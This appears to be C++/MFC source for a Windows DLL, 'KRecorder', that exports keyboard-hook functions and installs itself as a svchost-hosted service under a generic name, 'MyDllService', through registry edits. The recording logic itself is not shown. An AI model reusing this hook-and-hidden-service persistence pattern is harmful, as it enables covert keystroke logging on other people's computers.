//KHook.h
#ifdef KHOOK_DLL
#define KHOOK_API __declspec(dllexport)
#else
#define KHOOK_API __declspec(dllimport)
#endif
/* Set up for C function definitions, even when using C++ */
#ifdef __cplusplus
extern "C" {
#endif
KHOOK_API void SetKBHookCn(void);
KHOOK_API void RemoveKBHook(void);
KHOOK_API void SetKBHookThreadId(int threadid);
/* Ends C function definitions when using C++ */
#ifdef __cplusplus
}
#endif
// KRecorder.h : KRecorder DLL 的主头文件
//
#pragma once
#ifndef __AFXWIN_H__
#error "在包含此文件之前包含“stdafx.h”以生成 PCH 文件"
#endif
#include "resource.h" // 主符号
// CKRecorderApp
// 有关此类实现的信息,请参阅 KRecorder.cpp
//
#ifdef KRECORDER_DLL
#define KRECORDER_API __declspec(dllexport)
#else
#define KRECORDER_API __declspec(dllimport)
#endif
/* Set up for C function definitions, even when using C++ */
#ifdef __cplusplus
extern "C" {
#endif
KRECORDER_API void StartKRecorder(void);
/* Ends C function definitions when using C++ */
#ifdef __cplusplus
}
#endif
class CKRecorderApp : public CWinApp
{
public:
CKRecorderApp();
// 重写
public:
virtual BOOL InitInstance();
DECLARE_MESSAGE_MAP()
};
//KRecorder.cpp
// KRecorder.cpp : 定义 DLL 的初始化例程。
//
#include "stdafx.h"
#define KRECORDER_DLL
#include "KRecorder.h"
#include "Record.h"
#include "Winsvc.h"
#include "shlObj.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
//
//TODO: 如果此 DLL 相对于 MFC DLL 是动态链接的,
// 则从此 DLL 导出的任何调入
// MFC 的函数必须将 AFX_MANAGE_STATE 宏添加到
// 该函数的最前面。
//
// 例如:
//
// extern "C" BOOL PASCAL EXPORT ExportedFunction()
// {
// AFX_MANAGE_STATE(AfxGetStaticModuleState());
// // 此处为普通函数体
// }
//
// 此宏先于任何 MFC 调用
// 出现在每个函数中十分重要。这意味着
// 它必须作为函数中的第一个语句
// 出现,甚至先于所有对象变量声明,
// 这是因为它们的构造函数可能生成 MFC
// DLL 调用。
//
// 有关其他详细信息,
// 请参阅 MFC 技术说明 33 和 58。
//
// CKRecorderApp
BEGIN_MESSAGE_MAP(CKRecorderApp, CWinApp)
END_MESSAGE_MAP()
CRecord testRecord;
//extern "C"
//{
// KRECORDER_API void StartKRecorder( void )
// {
// testRecord.InitEnvironment();
// }
//
//};
// CKRecorderApp 构造
CKRecorderApp::CKRecorderApp()
{
// TODO: 在此处添加构造代码,
// 将所有重要的初始化放置在 InitInstance 中
}
// 唯一的一个 CKRecorderApp 对象
CKRecorderApp theApp;
// CKRecorderApp 初始化
BOOL CKRecorderApp::InitInstance()
{
CWinApp::InitInstance();
if (!AfxSocketInit())
{
AfxMessageBox(IDP_SOCKETS_INIT_FAILED);
return FALSE;
}
return TRUE;
}
void StartServiceTest();
void Log(char *p)
{
FILE *file = ::fopen("c:\\service_log.txt","ab+");
if(file != NULL)
{
fprintf(file, "%s\r\n", p);
::fclose(file);
}
}
#ifdef _X86_
extern "C" { int _afxForceUSRDLL; }
#else
extern "C" { int __afxForceUSRDLL; }
#endif
//DLL的入口函数
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
//CTime m_currentTime=CTime::GetCurrentTime();
//CString currentTimeStr;
switch(ul_reason_for_call){
case DLL_PROCESS_ATTACH://单线程构造函数
//currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
// m_currentTime.GetYear(),
// m_currentTime.GetMonth(),
// m_currentTime.GetDay(),
// m_currentTime.GetHour(),
// m_currentTime.GetMinute(),
// m_currentTime.GetSecond());
//WRITELOG(currentTimeStr+" "+"Load FileWatcherDLL Success!");
break;
case DLL_PROCESS_DETACH://单线程析构函数
//m_currentTime=CTime::GetCurrentTime();
CString currentTimeStr;
//m_currentTime=CTime::GetCurrentTime();
//currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
// m_currentTime.GetYear(),
// m_currentTime.GetMonth(),
// m_currentTime.GetDay(),
// m_currentTime.GetHour(),
// m_currentTime.GetMinute(),
// m_currentTime.GetSecond());
//WRITELOG(currentTimeStr+" "+"Free FileWatcherDLL Success!");
break;
default:
break;
}
return TRUE;
}
VOID WINAPI MyHandler(DWORD fdwControl);
SERVICE_STATUS service_status;
SERVICE_STATUS_HANDLE handle;
BOOL initService()
{
return true;
}
VOID WINAPI MyHandler(DWORD fdwControl)
{
if(fdwControl == SERVICE_CONTROL_STOP){
Log("service stop!");
service_status.dwWin32ExitCode = 0;
service_status.dwCurrentState = SERVICE_STOPPED;
}
else if(fdwControl == SERVICE_CONTROL_SHUTDOWN){
Log("system shutdown and service stop!");
service_status.dwWin32ExitCode = 0;
service_status.dwCurrentState = SERVICE_STOPPED;
}
SetServiceStatus(handle,&service_status);
}
VOID WINAPI ServiceMain(DWORD dwArgc,LPTSTR* lpszArgv)
{
service_status.dwCheckPoint = 0;
service_status.dwControlsAccepted = SERVICE_ACCEPT_SHUTDOWN|SERVICE_ACCEPT_STOP;
service_status.dwCurrentState = SERVICE_START_PENDING;
service_status.dwServiceSpecificExitCode = 0;
service_status.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;
service_status.dwWaitHint = 0;
service_status.dwWin32ExitCode = 0;
handle = ::RegisterServiceCtrlHandler("MyDllService",MyHandler);
if(handle ==(SERVICE_STATUS_HANDLE)0)
{
Log("create service handle error!");
return;
}
if(!initService())
{
Log("init service handle error!");
service_status.dwCurrentState = SERVICE_STOPPED;
service_status.dwWin32ExitCode = -1;
::SetServiceStatus(handle,&service_status);
return;
}
service_status.dwCurrentState = SERVICE_RUNNING;
::SetServiceStatus(handle,&service_status);
//Log("StartFileWatcher");
testRecord.InitEnvironment();
while(service_status.dwCurrentState == SERVICE_RUNNING)
{
//StartFileWatcher();
char buf[50]={0};
char buflog[100]={0};
int num = ::GetTimeFormat(NULL,LOCALE_USE_CP_ACP,NULL,NULL,buf, 0);
GetTimeFormat(NULL,LOCALE_USE_CP_ACP,NULL,NULL,buf, num);
::sprintf(buflog,"now time is:%s",buf);
Log(buflog);
::Sleep(10000);
}
}
VOID __stdcall Installer()
{
SC_HANDLE handle = NULL;
SC_HANDLE hService = NULL;
handle = OpenSCManager(NULL,SERVICES_ACTIVE_DATABASE,SC_MANAGER_ALL_ACCESS);
if(NULL == handle)
{
Log("open scm error!");
return;
}
if(NULL==(hService = ::CreateService(handle,"MyDllService","MyDllService",SC_MANAGER_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,"%SystemRoot%\\system32\\svchost -k MyDllService",NULL,NULL,NULL,NULL,NULL)))
{
int error = GetLastError();
char buf[50]={0};
::sprintf(buf,"注册错误代码是:%d",error);
Log(buf);
}
HKEY hkey = NULL;
HKEY pkey = NULL;
::RegOpenKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\MyDllService",&hkey);
if(NULL !=hkey)
{
char buff[] = "%SystemRoot%\\system32\\KRecorder.dll";
::RegCreateKey(hkey,"Parameters",&pkey);
if(ERROR_SUCCESS != (RegSetValueEx(pkey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)buff, strlen(buff)+1)))
{
Log("注册paramter失败");
}
::RegCloseKey(pkey);
::RegCloseKey(hkey);
}
hkey = NULL;
RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SvcHost",&hkey);
if(hkey != NULL)
{
if(ERROR_SUCCESS != ::RegSetValueEx(hkey,"MyDllService",0,REG_MULTI_SZ,(BYTE*)"MyDllService",strlen("MyDllService")+1))
{
Log("注册svchost失败");
}
::RegCloseKey(hkey);
}
//::CloseHandle(handle);
::CloseServiceHandle(hService);
::CloseServiceHandle(handle);
StartServiceTest();
}
VOID __stdcall Unstaller()
{
SC_HANDLE handle = NULL;
SC_HANDLE handle_sv = NULL;
__try{
handle = OpenSCManager(NULL,SERVICES_ACTIVE_DATABASE,SC_MANAGER_ALL_ACCESS);
if(NULL == handle)
{
Log("open scm error!");
return;
}
handle_sv = OpenService(handle,"MyDllService",SC_MANAGER_ALL_ACCESS);
if(NULL == handle_sv)
{
Log("open service_mydllservice error!");
return;
}
if(NULL==::DeleteService(handle_sv))
{
Log("delete service_mydllservice error!");
return;
}
HKEY hkey = NULL;
RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SvcHost",&hkey);
if(hkey != NULL)
{
if(ERROR_SUCCESS != ::RegDeleteValue(hkey,"MyDllService"))
{
Log("删除svchost失败");
}
::RegCloseKey(hkey);
}
}__finally
{
if(NULL != handle_sv)
{
::CloseServiceHandle(handle_sv);
}
if(NULL != handle)
{
::CloseServiceHandle(handle);
}
}
}
void StartServiceTest()
{
SC_HANDLE hSCM;
SC_HANDLE hService;
hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hSCM != NULL)
{
//打开服务
hService = ::OpenService(hSCM, "MyDllService",SERVICE_ALL_ACCESS);
if (hService != NULL)
{
//启动服务
if(!StartService(hService,0,NULL))
{
//AfxMessageBox("Service start error (%u)!\n",GetLastError());
}
else
{
//AfxMessageBox("service start pending");
}
}
else
{
//AfxMessageBox("open service error!");
}
}
else
{
//AfxMessageBox("openSCmanager error!");
}
::CloseServiceHandle(hService);
::CloseServiceHandle(hSCM);
}
; KRecorder.def : 声明 DLL 的模块参数。
LIBRARY "KRecorder"
EXPORTS
;StartKRecorder @1 ; 此处可以是显式导出
ServiceMain @1
Installer @2
Unstaller @3